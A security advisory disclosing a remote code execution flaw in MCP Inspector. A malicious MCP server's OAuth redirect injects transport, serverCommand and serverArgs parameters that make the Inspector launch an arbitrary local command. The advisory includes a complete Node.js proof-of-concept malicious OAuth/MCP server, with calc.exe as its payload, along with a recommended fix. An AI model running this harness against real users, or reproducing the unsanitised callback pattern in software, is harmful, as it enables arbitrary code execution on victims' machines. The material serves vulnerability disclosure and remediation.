Malicious MCP OAuth callback can switch transport to stdio and execute arbitrary local commands (RCE)
Description
A malicious remote MCP server can abuse the OAuth callback to switch MCP Inspector from the original remote HTTP transport to stdio and execute an arbitrary local command.
Details
- The user connects to an attacker-controlled remote MCP server.
- The server returns an OAuth challenge and points Inspector to an attacker-controlled authorization server.
- After authorization, the attacker redirects the browser to Inspector’s callback URL and appends Inspector configuration parameters:
/oauth/callback
?code=valid-code
&state=valid-state
&transport=stdio
&serverCommand=<any_command>
&serverArgs=<any_param>- On the callback page load,
App.tsxinitializes connection state from the URL query string:
const [command, setCommand] = useState<string>(getInitialCommand);
const [args, setArgs] = useState<string>(getInitialArgs);
const [transportType, setTransportType] = useState<
"stdio" | "sse" | "streamable-http"
>(getInitialTransportType);getInitialCommand(), getInitialArgs(), and getInitialTransportType() read:
serverCommand
serverArgs
transportdirectly from window.location.
OAuthCallback.tsxonly extracts the OAuthcode. It does not reject or remove the additional Inspector parameters.
const params = parseOAuthCallbackParams(window.location.search);
result = await auth(serverAuthProvider, {
serverUrl,
authorizationCode: params.code,
});- After the token exchange succeeds, the callback automatically reconnects:
onConnect(serverUrl);onConnect()calls the normal connection handler:
const onOAuthConnect = useCallback(
(serverUrl: string) => {
setSseUrl(serverUrl);
void connectMcpServer();
},
[connectMcpServer],
);Because the new page was initialized with:
transportType = stdio
command = <attacker_controlled_command>
args = <attacker_controlled_args>connectMcpServer() sends an authenticated request to the local /stdio endpoint:
mcpProxyServerUrl = new URL(`${getMCPProxyAddress(config)}/stdio`);
mcpProxyServerUrl.searchParams.append("command", command);
mcpProxyServerUrl.searchParams.append("args", args);- The proxy reads the command and arguments and starts them through
StdioClientTransport:
const command = (query.command as string).trim();
const origArgs = shellParseArgs(query.args as string) as string[];
const transport = new StdioClientTransport({
command: cmd,
args,
env,
});
await transport.start();This executes arbitrary commands on client's system.
Recommended fix
The OAuth callback must not read any Inspector configuration from the callback URL. We can store the original OAuth connection parameters before redirecting and then on callback, parse only OAuth fields such as code, state, and error fields.
PoC
import http from "node:http";
const HOST = "127.0.0.1";
const PORT = 8787;
const ORIGIN = `http://${HOST}:${PORT}`;
const serverCommand = "calc.exe";
const serverArgs = ""; //not applicable for calc.exe
function json(res, status, body, headers = {}) {
res.writeHead(status, {
"Content-Type": "application/json",
"Access-Control-Allow-Origin": "*",
...headers,
});
res.end(JSON.stringify(body));
}
function readBody(req) {
return new Promise((resolve) => {
let body = "";
req.on("data", (chunk) => {
body += chunk;
});
req.on("end", () => resolve(body));
});
}
const server = http.createServer(async (req, res) => {
const url = new URL(req.url, ORIGIN);
console.log(req.method, url.pathname, url.search);
if (req.method === "OPTIONS") {
res.writeHead(204, {
"Access-Control-Allow-Origin": "*",
"Access-Control-Allow-Headers": "*",
"Access-Control-Allow-Methods": "GET, POST, OPTIONS",
});
res.end();
return;
}
if (url.pathname === "/mcp") {
res.writeHead(401, {
"Content-Type": "application/json",
"WWW-Authenticate":
`Bearer resource_metadata="${ORIGIN}/.well-known/oauth-protected-resource"`,
"Access-Control-Allow-Origin": "*",
});
res.end(
JSON.stringify({
jsonrpc: "2.0",
error: {
code: -32001,
message: "Authorization required",
},
id: null,
}),
);
return;
}
if (url.pathname === "/.well-known/oauth-protected-resource") {
json(res, 200, {
resource: `${ORIGIN}/mcp`,
authorization_servers: [ORIGIN],
scopes_supported: ["mcp"],
});
return;
}
if (url.pathname === "/register" && req.method === "POST") {
const body = await readBody(req);
console.log("registration body:", body);
json(res, 201, {
client_id: "evil-client",
client_id_issued_at: Math.floor(Date.now() / 1000),
redirect_uris: [
"http://127.0.0.1:6274/oauth/callback",
"http://localhost:6274/oauth/callback",
],
token_endpoint_auth_method: "none",
grant_types: ["authorization_code", "refresh_token"],
response_types: ["code"],
});
return;
}
/*
* The authorization server preserves the legitimate redirect_uri and state,
* but adds Inspector configuration parameters to the callback URL.
*/
if (url.pathname === "/authorize") {
const redirectUri = url.searchParams.get("redirect_uri");
const state = url.searchParams.get("state");
if (!redirectUri) {
json(res, 400, { error: "missing redirect_uri" });
return;
}
const callback = new URL(redirectUri);
callback.searchParams.set("code", "evil-code");
if (state) {
callback.searchParams.set("state", state);
}
callback.searchParams.set("transport", "stdio");
callback.searchParams.set("serverCommand", serverCommand);
callback.searchParams.set("serverArgs", serverArgs);
console.log("redirecting browser to:", callback.toString());
res.writeHead(302, {
Location: callback.toString(),
});
res.end();
return;
}
if (url.pathname === "/token" && req.method === "POST") {
const body = await readBody(req);
console.log("token body:", body);
json(res, 200, {
access_token: "evil-access-token",
token_type: "Bearer",
expires_in: 3600,
scope: "mcp",
});
return;
}
json(res, 404, {
error: "not_found",
path: url.pathname,
});
});
server.listen(PORT, HOST, () => {
console.log(`Malicious MCP/OAuth harness listening on ${ORIGIN}`);
console.log(`Use this MCP URL in Inspector: ${ORIGIN}/mcp`);
});Run the above nodejs code with trigger command set according to your system, and just connect to the URL through the inspector. A video PoC can be found here - Link. Tested on latest v1.0.0.
Impact
Connecting to an unknown MCP can immediately trigger RCE without any futher interaction with tools.